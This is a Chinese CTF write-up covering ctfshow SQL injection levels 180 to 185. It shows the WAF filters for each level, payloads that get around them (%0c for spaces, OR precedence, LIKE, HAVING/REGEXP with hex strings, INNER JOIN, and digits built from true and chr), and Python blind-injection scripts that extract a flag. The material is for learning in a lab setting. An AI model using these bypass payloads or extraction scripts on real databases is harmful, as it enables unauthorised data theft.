当前位置: 首页 > news >正文

ctfshow sql

180  过滤%23

%23被过滤,没办法注释了,还可以用’1’='1来闭合后边。

或者使用--%0c--

1'%0corder%0cby%0c3--%0c--1'%0cunion%0cselect%0c1,2,database()--%0c--1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c--1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c--1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c--

181  优先级

过滤了很多

//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);}

这里通过优先级进行绕过

and > or 所以and会先执行
因为1 and 0 ====01 and 0 or 1  就会变为   0 or 1  =====1所以我们可以根据这个特性绕过

-1'||username='flag

182 id查询

//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);}

 因为flag被过滤了,所以不能用上面一题的

但是我们可以知道flag的id是26

-1'||id='26

 183  构造where like绕过

的确很懵b

查询语句//拼接sql语句查找指定ID用户$sql = "select count(pass) from ".$_POST['tableName'].";";返回逻辑//对传入的参数进行了过滤function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);}查询结果//返回用户表的记录总数$user_count = 0;

 tableName用post传参

我们知道当前表名叫做ctfshow_user

传参试试

$sql = "select count(pass) from ".$_POST['tableName'].";";

放进sql查询,因为语句中没有where,我们要加上where子句

select count(pass) from "ctfshow_user" where pass = ctf#";

但是我们上面可以看到很多被过滤了,=也被过滤了,用like来绕过

看下like的模糊匹配

(ctfshow_user)where(pass)like'ctf%'
ctf%匹配ctf开头

import requests
import string
url="http://aa24dff0-c290-4c34-adf3-fa3279663bca.challenge.ctf.show/select-waf.php"
payload="(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag=''for i in range(1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(flag+j)data={'tableName':payload1}r=requests.post(url=url,data=data)if "$user_count = 1;" in r.text:flag+=jprint(flag)

 

 184

where、单双引号、反引号都被过滤了,但是没有过滤空格。
 

查询语句//拼接sql语句查找指定ID用户$sql = "select count(*) from ".$_POST['tableName'].";";返回逻辑//对传入的参数进行了过滤function waf($str){return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);}查询结果//返回用户表的记录总数$user_count = 0;

因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。

where可以用having来绕过

看下我上篇写的having语句

SELECT TABLE_NAME,sum(ORDINAL_POSITION) FROM `COLUMNS` GROUP BY TABLE_NAME HAVING sum(ORDINAL_POSITION)>30查询两列,table_name,还有ordinal_position求和,用group by来组合两列,用having来限制条件

regexp 正则匹配

 SQL学习笔记 -- REGEXP - 知乎

tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)

ctfshow{的十六进制编码就是0x63746673686f777b

这里随便猜了一下,第一位是2

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass regexp(0x63746673686f777b{0})"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])  //replace()函数将十六进制字符串中的前缀"0x"替换为空字符串。
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 1;" in r.text:flag+=jprint(flag)uuid = string.ascii_lowercase+string.digits+"-{}"
这里的j字符串变量可以用这些函数
string.ascii_lowercase 是一个包含英文字母小写的字符串常量。
string.digits 是一个包含十进制数字(0-9)的字符串常量。

一直报不出来mmd又是过期了环境,重新开了一个

 一开始搞不懂为什么要先进行ascii编码,然后直接试了一下,原来字符串不能直接进行hex十六进制编码

需要先取ASCII值,然后再hex

like

居然也可以用like 我还以为十六进制不行

but 发现只要like后面不加单引号,他也能匹配到

记住还有%,先进行编码一下

好了验证成功,我们来试一下payload

tableName=ctfshow_user group by pass having pass like (0x63746673686f777b25)

好了来修改脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j+'%'))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 1;" in r.text:flag+=jprint(flag)

主要是%

INNER join on

SQL INNER JOIN 关键字 | 菜鸟教程

INNER join on可以绕过where

先在mysql里面试一下

payload

tableName=ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f7725

脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j+'%'))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 22;"  in r.text:flag+=jprint(flag)

185  true代替数字,concat+chr代替引号

查询语句//拼接sql语句查找指定ID用户$sql = "select count(*) from ".$_POST['tableName'].";";返回逻辑//对传入的参数进行了过滤function waf($str){return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);}查询结果//返回用户表的记录总数$user_count = 0;

1、没有数字,我们需要构造出数字

 查看该语言是否存在可以被识别成数字的关键字(true为1,false为0)

我们先在mysql里面尝试一下看看

 SELECT true from information_Schema.columns

SELECT true+true from information_Schema.columns 

 SELECT char(true+true) from information_Schema.columns

把数字通过true来代替

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):num = 'true'  //把数字定义为trueif s == 1:return 'true'else:for i in range(s-1):num +='+true'return num  //数字为几就返回几个truea=4
print(createNum(a))

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):num = 'true'if s == 1:return 'true'else:for i in range(s-1):num +='+true'return num
def createStrNum(n):str=''str+="chr("+createNum(ord(n[0]))+")"  //第一个字符转为true格式 然后再加上chr 即可for i in n[1:]:str += ",chr(" + createNum(ord(i)) + ")"return stra='4'
print(createStrNum(a))

4的ascii是52

 简而言之,这两个函数实现的功能就是:

a=4

4的ascii码是52

那么第一个函数createNum(s)把数字转换成true字符串

第二个函数加上chr()

chr(true+true+.....+true)

这里还需要使用concat,使得 串在一起

import stringimport requestsurl = 'http://087df77e-3225-4a02-b671-225d996908c5.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'def createNum(n):num = 'true'if n == 1:return 'true'else:for i in range(n - 1):num += "+true"return numdef createStrNum(c):str = ''str += 'chr(' + createNum(ord(c[0])) + ')'for i in c[1:]:str += ',chr(' + createNum(ord(i)) + ')'return struuid = string.ascii_lowercase + string.digits + "-{}"for i in range(1, 50):for j in uuid:payload1 = payload.format(createStrNum(flag + j + "%"))# print(payload1)data = {'tableName': payload1}re = requests.post(url=url, data=data)if "$user_count = 0;" not in re.text:flag += jprint(flag)if j == '}':exit()break

相关文章:

ctfshow sql

180 过滤%23 %23被过滤,没办法注释了,还可以用’1’1来闭合后边。 或者使用--%0c-- 1%0corder%0cby%0c3--%0c--1%0cunion%0cselect%0c1,2,database()--%0c--1%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_…...

Java实现求最大值

1 问题 接收用户输入的3个整数,如何将最大值作为结果输出。 2 方法 采用“截图文字代码”的方式描述。 引入输入包调用main()函数,提示并接收用户输入的3个整数,并交由变量a b c来保存。对接收的3个数据进行比较,先比较a和b&#…...

NX二次开发UF_CURVE_ask_curve_inflections 函数介绍

文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan UF_CURVE_ask_curve_inflections Defined in: uf_curve.h int UF_CURVE_ask_curve_inflections(tag_t curve_eid, double proj_matrx [ 9 ] , double range [ 2 ] , int * num_infpt…...

一个基于RedisTemplate静态工具类

每次是用RedisTemplate的时候都需要进行自动注入实在是太麻烦了,于是找到一个讨巧的办法。 import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.…...

【计算机网络笔记】数据链路层——差错编码

系列文章目录 什么是计算机网络? 什么是网络协议? 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能(1)——速率、带宽、延迟 计算机网络性能(2)…...

js生成pdf并自动上传

1.生成pdf前要让js选中生成pdf部分的dom <div id"printPageFirst"> pdf内容区 </div> 2.使用两个插件&#xff0c;import到项目里&#xff0c;然后是获取dom进行生成pdf操作 import html2canvas from html2canvas import JsPDF from jspdf function cr…...

高品质MP3音频解码语音芯片WT2003Hx的特征优势与应用场景

在现代化科技快速发展的时代&#xff0c;高品质音频语音芯片在各个领域的应用越来越广泛。唯创知音推出的高品质MP3音频语音芯片WT2003Hx&#xff0c;凭借其出色的特性与优势&#xff0c;赢得了市场的广泛认可。本文将详细介绍WT2003Hx的特征优势以及其在各个领域的应用场景。 …...

浅析linux中的信号

人们往往将信号称为“软件中断”&#xff0c;它提供了异步事件的处理机制&#xff0c;这些事件可以来自系统外部&#xff08;如用户按下ctrlc产生中断符&#xff09;&#xff0c;也可能来自程序或者内核内部的执行动作&#xff08;如进程除零操作&#xff09;。进程收到信号&am…...

从0开始学习JavaScript--JavaScript数据类型与数据结构

JavaScript作为一门动态、弱类型的脚本语言&#xff0c;拥有丰富的数据类型和数据结构&#xff0c;这些构建了语言的基础&#xff0c;为开发者提供了灵活性和表达力。本文将深入探讨JavaScript中的各种数据类型&#xff0c;包括基本数据类型和复杂数据类型&#xff0c;并介绍常…...

数据结构与算法编程题20

统计二叉树的叶结点个数。 #define _CRT_SECURE_NO_WARNINGS#include <iostream> using namespace std;typedef char ElemType; #define ERROR 0 #define OK 1 typedef struct BiNode {ElemType data;BiNode* lchild, * rchild; }BiNode,*BiTree;bool Create_tree(BiTre…...

FreeRTOS源码阅读笔记5--mutex

互斥量是一种特殊的二值信号量&#xff0c;拥有优先级继承的机制&#xff0c;所以适合用在临界资源互斥访问。 5.1创建互斥量xSemaphoreCreateMutex() 5.1.1函数原型 5.1.2函数框架 5.2创建递归互斥量xSemaphoreCreateRecursiveMutex() 5.2.1函数原型 5.2.2函数框架 xSemaph…...

STM32_7(ADC)

一、ADC ADC&#xff08;Analog-Digital Converter&#xff09;模拟-数字转换器ADC可以将引脚上连续变化的模拟电压转换为内存中存储的数字变量&#xff0c;建立模拟电路到数字电路的桥梁12位逐次逼近型ADC&#xff0c;1us转换时间输入电压范围&#xff1a;0~3.3V&#xff0c;…...

Flink实战(11)-Exactly-Once语义之两阶段提交

0 大纲 [Apache Flink]2017年12月发布的1.4.0版本开始&#xff0c;为流计算引入里程碑特性&#xff1a;TwoPhaseCommitSinkFunction。它提取了两阶段提交协议的通用逻辑&#xff0c;使得通过Flink来构建端到端的Exactly-Once程序成为可能。同时支持&#xff1a; 数据源&#…...

日志技术logback

一&#xff0c;日志概括 二&#xff0c;日志技术的特点 三&#xff0c;日志技术的体系 三&#xff0c;入门 四&#xff0c;案例 package XinZheng;import org.slf4j.Logger; import org.slf4j.LoggerFactory;public class Main58 {//1,创建一个Logger日志对象public static fi…...

linux(1)之build构建系统基础(一)

Linux(1)之buildroot构建系统(一) Author&#xff1a;Onceday Date&#xff1a;2023年11月12日 漫漫长路&#xff0c;才刚刚开始… 参考文档&#xff1a; The Yocto ProjectBuildroot - Making Embedded Linux Easy 文章目录 Linux(1)之buildroot构建系统(一)1. 概述1.1 如…...

25 Linux I2C 驱动

一、I2C简介 I2C老朋友了&#xff0c;在单片机里面也学过&#xff0c;现在再复习一下。I2C使用两条线在主控制器和从机之间进行数据通信。一条是 SCL(串行时钟线)&#xff0c;另外一条是 SDA(串行数据线)&#xff0c;这两条数据线需要接上拉电阻&#xff0c;总线空闲的时候 SCL…...

API 设计:使用 Node.js 和 Express.js 的综合教程

API&#xff08;应用程序编程接口&#xff09;设计涉及创建一个高效而强大的接口&#xff0c;允许不同的软件应用程序相互交互。 说明 本教程将指导您使用 Node.js 和 Express.js 作为核心技术来规划、设计和构建 API。但是&#xff0c;这些原则可以应用于任何语言或框架。我们…...

vite和webpack的区别和练习

Vite和Webpack都是现代化的前端构建工具&#xff0c;但它们之间存在一些区别&#xff1a; 构建性能&#xff1a;Vite使用ES Modules提高了构建性能&#xff0c;可以在构建时只构建需要的部分&#xff0c;而Webpack则需要在构建时处理整个应用程序。 开发体验&#xff1a;Vite具…...

Python与设计模式--装饰器模式

6-Python与设计模式–装饰器模式 一、快餐点餐系统 又提到了那个快餐点餐系统&#xff0c;不过今天我们只以其中的一个类作为主角&#xff1a;饮料类。 首先&#xff0c;回忆下饮料类&#xff1a; class Beverage():name ""price 0.0type "BEVERAGE"…...

flutter之graphic图表自定义tooltip

renderer graphic中tooltip的TooltipGuide类提供了renderer方法&#xff0c;接收三个参数Size类型&#xff0c;Offset类型&#xff0c;Map<int, Tuple>类型。可查到的文档是真的少&#xff0c;所以只能在源码中扒拉例子&#xff0c;做符合需求的修改。 官方github示例 …...

抖音内容批量下载解决方案:从单视频到用户主页的全链路自动化工具

抖音内容批量下载解决方案&#xff1a;从单视频到用户主页的全链路自动化工具 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fal…...

别再到处找资源了!一个百度网盘链接搞定IC设计EDA学习环境(附工艺库与避坑指南)

一站式IC设计学习环境&#xff1a;高效搭建EDA工具链的终极方案 在集成电路设计的学习道路上&#xff0c;无数初学者都曾陷入同样的困境——花费大量时间在论坛、网盘和各种资源站点间来回切换&#xff0c;只为拼凑出一个能用的EDA工具环境。当你终于下载完几十GB的安装包&…...

Qwen3.5-9B-GGUF开源大模型部署:Apache 2.0协议下商用微调全流程解析

Qwen3.5-9B-GGUF开源大模型部署&#xff1a;Apache 2.0协议下商用微调全流程解析 1. 项目概述 Qwen3.5-9B-GGUF是基于阿里云通义千问3.5系列的开源大语言模型&#xff0c;经过GGUF格式量化后&#xff0c;可以在消费级硬件上高效运行。这个90亿参数的稠密模型采用了创新的Gate…...

群晖NAS AI人脸识别终极指南:免费解锁3大智能功能,让旧设备焕发新生!

群晖NAS AI人脸识别终极指南&#xff1a;免费解锁3大智能功能&#xff0c;让旧设备焕发新生&#xff01; 【免费下载链接】Synology_Photos_Face_Patch Synology Photos Facial Recognition Patch 项目地址: https://gitcode.com/gh_mirrors/sy/Synology_Photos_Face_Patch …...

终极指南:如何在5分钟内为《杀戮尖塔》安装ModTheSpire模组管理器

终极指南&#xff1a;如何在5分钟内为《杀戮尖塔》安装ModTheSpire模组管理器 【免费下载链接】ModTheSpire External mod loader for Slay The Spire 项目地址: https://gitcode.com/gh_mirrors/mo/ModTheSpire 想要为《杀戮尖塔》添加新角色、卡牌和游戏内容吗&#x…...

哪些降重软件可以同时降低查重率和AIGC疑似率?2026年5款顶流工具深度黑盒实测

引言&#xff1a;在2026年的盲审里&#xff0c;你的论文正面临一场“被猎杀”的灾难 几天前&#xff0c;我的一个直博学弟在实验室崩溃大哭。他苦熬大半年、查重率仅有3.2%的完美终稿&#xff0c;在学院第一波预审中被无情“斩立决”。退回的理由极其刺眼&#xff1a;系统判定…...

PageAdmin平台化:多业务系统动态构建技术

以下是针对“PageAdmin应用系统平台化”的技术实现方案&#xff0c;聚焦于将传统单应用后台管理系统改造为可无限创建业务系统的低代码平台&#xff0c;仅涉及技术架构与实现步骤。 一、平台化核心架构设计 将PageAdmin从“单个后台系统”改造为多业务系统托管平台&#xff0c…...

【实战】Windows平台LVGL模拟器快速上手:从CodeBlocks配置到首个GUI组件创建

1. Windows平台LVGL模拟器入门指南 第一次接触LVGL的朋友可能会被嵌入式开发吓到&#xff0c;但其实在Windows上就能轻松体验。我刚开始学LVGL时也以为必须买开发板&#xff0c;后来发现用CodeBlocks配合官方模拟器&#xff0c;完全可以在PC上跑起来。这种方式特别适合想快速验…...

大麦网抢票脚本终极指南:告别手速限制,轻松抢到心仪演唱会门票

大麦网抢票脚本终极指南&#xff1a;告别手速限制&#xff0c;轻松抢到心仪演唱会门票 【免费下载链接】Automatic_ticket_purchase 大麦网抢票脚本 项目地址: https://gitcode.com/GitHub_Trending/au/Automatic_ticket_purchase 还在为抢不到周杰伦、五月天等热门演唱…...

从零部署到三维感知:ROS与RealSense D435i深度相机实战指南

1. 环境准备与驱动安装 第一次接触RealSense D435i深度相机时&#xff0c;我花了整整两天时间才把驱动装好。现在回想起来&#xff0c;其实只要掌握几个关键步骤就能避免90%的坑。先说说硬件连接&#xff1a;D435i通过USB 3.0接口供电和数据传输&#xff0c;一定要使用原装线材…...